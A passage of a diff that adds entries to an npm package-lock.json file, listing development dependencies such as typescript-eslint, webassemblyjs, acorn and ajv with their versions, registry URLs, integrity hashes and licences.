"sha512-TiZzBSJja/LbhNPvk6yc0JrX9XqhQ0hdh6M2svYfsHGejaKFIAGd9MQ+ERIMzLGlN/kZoYIgdxFV0PuljTKXag==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.4.0", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/type-utils": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", + "natural-compare-lite": "^1.4.0", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^5.0.0", + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/experimental-utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/experimental-utils/-/experimental-utils-5.62.0.tgz", + "integrity": "sha512-RTXpeB3eMkpoclG3ZHft6vG/Z30azNHuqY6wKPBHlVMZFuEvrtlEDe8gMqDb+SO+9hjC/pLekeSCryf9vMZlCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/utils": "5.62.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-5.62.0.tgz", + "integrity": "sha512-VlJEV0fOQ7BExOsHYAGrgbEiZoi8D+Bl2+f6V2RrXerRSylnp+ZBHmPvaIa8cz0Ajx7WO7Z5RqfgYg7ED1nRhA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "debug": "^4.3.4" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-5.62.0.tgz", + "integrity": "sha512-VXuvVvZeQCQb5Zgf4HAxc04q5j+WrNAtNh9OwCsCgpKqESMTu3tF/jhZ3xG6T4NZwWl65Bg8KuS2uEvhSfLl0w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-5.62.0.tgz", + "integrity": "sha512-xsSQreu+VnfbqQpW5vnCJdq1Z3Q0U31qiWmRhr98ONQmcp/yhiPJFPq8MXiJVLiksmOKSjIldZzkebzHuCGzew==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/typescript-estree": "5.62.0", + "@typescript-eslint/utils": "5.62.0", + "debug": "^4.3.4", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/types": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-5.62.0.tgz", + "integrity": "sha512-87NVngcbVXUahrRTqIK27gD2t5Cu1yuCXxbLcFtCzZGlfyVWWh8mLHkoxzjsB6DDNnvdL+fW8MiwPEJyGJQDgQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-5.62.0.tgz", + "integrity": "sha512-CmcQ6uY7b9y694lKdRB8FEel7JbU/40iSAPomu++SjLMntB+2Leay2LO6i8VnJk58MtE9/nQSFIH6jpyRWyYzA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/visitor-keys": "5.62.0", + "debug": "^4.3.4", + "globby": "^11.1.0", + "is-glob": "^4.0.3", + "semver": "^7.3.7", + "tsutils": "^3.21.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-5.62.0.tgz", + "integrity": "sha512-n8oxjeb5aIbPFEtmQxQYOLI0i9n5ySBEY/ZEHHZqKQSFnxio1rv6dthascc9dLuwrL0RC5mPCxB7vnAVGAYWAQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.2.0", + "@types/json-schema": "^7.0.9", + "@types/semver": "^7.3.12", + "@typescript-eslint/scope-manager": "5.62.0", + "@typescript-eslint/types": "5.62.0", + "@typescript-eslint/typescript-estree": "5.62.0", + "eslint-scope": "^5.1.1", + "semver": "^7.3.7" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + }, + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.0" + } + }, + "node_modules/@typescript-eslint/utils/node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "dev": true, + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@typescript-eslint/visitor-keys": { + "version": "5.62.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-5.62.0.tgz", + "integrity": "sha512-07ny+LHRzQXepkGg6w0mFY41fVUNBrL2Roj/++7V1txKugfjm/Ci/qSND03r2RhlJhJYMcTn9AhhSSqQp0Ysyw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "5.62.0", + "eslint-visitor-keys": "^3.3.0" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", + "dev": true, + "license": "ISC" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.14.1.tgz", + "integrity": "sha512-nuBEDgQfm1ccRp/8bCQrx1frohyufl4JlbMMZ4P1wpeOfDhF6FQkxZJ1b/e+PLwr6X1Nhw6OLme5usuBWYBvuQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/helper-numbers": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.13.2.tgz", + "integrity": "sha512-6oXyTOzbKxGH4steLbLNOu71Oj+C8Lg34n6CqRvqfS2O71BxY6ByfMDRhBytzknj9yGUPVJ1qIKhRlAwO1AovA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.13.2.tgz", + "integrity": "sha512-U56GMYxy4ZQCbDZd6JuvvNV/WFildOjsaWD3Tzzvmw/mas3cXzRJPMjP83JqEsgSbyrmaGjBfDtV7KDXV9UzFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.14.1.tgz", + "integrity": "sha512-jyH7wtcHiKssDtFPRB+iQdxlDf96m0E39yb0k5uJVhFGleZFoNw1c4aeIcVUPPbXUVJ94wwnMOAqUHyzoEPVMA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.13.2.tgz", + "integrity": "sha512-FE8aCmS5Q6eQYcV3gI35O4J789wlQA+7JrqTTpJqn5emA4U2hvwJmvFRC0HODS+3Ye6WioDklgd6scJ3+PLnEA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.13.2", + "@webassemblyjs/helper-api-error": "1.13.2", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.13.2.tgz", + "integrity": "sha512-3QbLKy93F0EAIXLh0ogEVR6rOubA9AoZ+WRYhNbFyuB70j3dRdwH9g+qXhLAO0kiYGlg3TxDV+I4rQTr/YNXkA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.14.1.tgz", + "integrity": "sha512-ds5mXEqTJ6oxRoqjhWDU83OgzAYjwsCV8Lo/N+oRsNDmx/ZDpqalmrtgOMkHwxsG0iI//3BwWAErYRHtgn0dZw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/wasm-gen": "1.14.1" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.13.2.tgz", + "integrity": "sha512-4LtOzh58S/5lX4ITKxnAK2USuNEvpdVV9AlgGQb8rJDHaLeHciwG4zlGr0j/SNWlr7x3vO1lDEsuePvtcDNCkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.13.2.tgz", + "integrity": "sha512-Lde1oNoIdzVzdkNEAWZ1dZ5orIbff80YPdHx20mrHwHrVNNTjNr8E3xz9BdpcGqRQbAEa+fkrCb+fRFTl/6sQw==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.13.2", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.13.2.tgz", + "integrity": "sha512-3NQWGjKTASY1xV5m7Hr0iPeXD9+RDobLll3T9d2AO+g3my8xy5peVyjSag4I50mR1bBSN/Ct12lo+R9tJk0NZQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.14.1.tgz", + "integrity": "sha512-RNJUIQH/J8iA/1NzlE4N7KtyZNHi3w7at7hDjvRNm5rcUXa00z1vRz3glZoULfJ5mpvYhLybmVcwcjGrC1pRrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/helper-wasm-section": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-opt": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1", + "@webassemblyjs/wast-printer": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.14.1.tgz", + "integrity": "sha512-AmomSIjP8ZbfGQhumkNvgC33AY7qtMCXnN6bL2u2Js4gVCg8fp735aEiMSBbDR7UQIj90n4wKAFUSEd0QN2Ukg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.14.1.tgz", + "integrity": "sha512-PTcKLUNvBqnY2U6E5bdOQcSM+oVP/PmrDY9NzowJjislEjwP/C4an2303MCVS2Mg9d3AJpIGdUFIQQWbPds0Sw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-buffer": "1.14.1", + "@webassemblyjs/wasm-gen": "1.14.1", + "@webassemblyjs/wasm-parser": "1.14.1" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.14.1.tgz", + "integrity": "sha512-JLBl+KZ0R5qB7mCnud/yyX08jWFw5MsoalJ1pQ4EdFlgj9VdXKGuENGsiCIjegI1W7p91rUlcB/LB5yRJKNTcQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@webassemblyjs/helper-api-error": "1.13.2", + "@webassemblyjs/helper-wasm-bytecode": "1.13.2", + "@webassemblyjs/ieee754": "1.13.2", + "@webassemblyjs/leb128": "1.13.2", + "@webassemblyjs/utf8": "1.13.2" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.14.1.tgz", + "integrity": "sha512-kPSSXE6De1XOR820C90RIo2ogvZG+c3KiHzqUoO/F34Y2shGzesfqv7o57xrxovZJH/MetF5UjroJ/R/3isoiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@webassemblyjs/ast": "1.14.1", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "deprecated": "Use your platform's native atob() and btoa() methods instead", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/accepts": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/accepts/-/accepts-1.3.8.tgz", + "integrity": "sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-types": "~2.1.34", + "negotiator": "0.6.3" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/accepts/node_modules/negotiator": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.3.tgz", + "integrity": "sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/ace-builds": { + "version": "1.43.6", + "resolved": "https://registry.npmjs.org/ace-builds/-/ace-builds-1.43.6.tgz", + "integrity": "sha512-L1ddibQ7F3vyXR2k2fg+I8TQTPWVA6CKeDQr/h2+8CeyTp3W6EQL8xNFZRTztuP8xNOAqL3IYPqdzs31GCjDvg==", + "license": "BSD-3-Clause" + }, + "node_modules/acorn": { + "version": "8.16.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.16.0.tgz", + "integrity": "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-phases": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/acorn-import-phases/-/acorn-import-phases-1.0.4.tgz", + "integrity": "sha512-wKmbr/DDiIXzEOiWrTTUcDm24kQ2vGfZQvM2fwg2vXqR5uW6aapr7ObPtj1th32b9u90/Pf4AItvdTh42fBmVQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.13.0" + }, + "peerDependencies": { + "acorn": "^8.14.0" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/address": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/address/-/address-1.2.2.tgz", + "integrity": "sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/adjust-sourcemap-loader": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz", + "integrity": "sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==", + "dev": true, + "license": "MIT", + "dependencies": { + "loader-utils": "^2.0.0", + "regex-parser": "^2.2.11" + }, + "engines": { + "node": ">=8.9" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/ajv": { + "version": "6.14.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.14.0.tgz", + "integrity": "sha512-IWrosm/yrn43eiKqkfkHis7QioDleaXQHdDVPKg0FSwwd/DuvyX79TZnFOnYpB7dcsFAMmtFztZuXPDvSePkFw==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-2.1.1.tgz", + "integrity": "sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats/node_modules/ajv": { + "version": "8.18.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.18.0.tgz", + "integrity": "sha512-PlXPeEWMXMZ7sPYOHqmDyCJzcfNrUr3fGNKtezX14ykXOEIvyK81d+qydx89KY5O71FKMPaQ2vBfBFI5NHR63A==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-formats/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-escapes/node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-html": { + "version": "0.0.9", + "resolved": "https://registry.npmjs.org/ansi-html/-/ansi-html-0.0.9.tgz", + "integrity": "sha512-ozbS3LuenHVxNRh/wdnN16QapUHzauqSomAl1jwwJRRsGwFwtj644lIhxfWu0Fy0acCij2+AEgHvjscq3dlVXg==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "license": "Apache-2.0", + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-html-community": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/ansi-html-community/-/ansi-html-community-0.0.8.tgz", + "integrity": "sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==", + "dev": true, + "engines": [ + "node >= 0.8.0" + ], + "license": "Apache-2.0", + "bin": { + "ansi-html": "bin/ansi-html" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/antd": { + "version": "5.29.3", + "resolved": 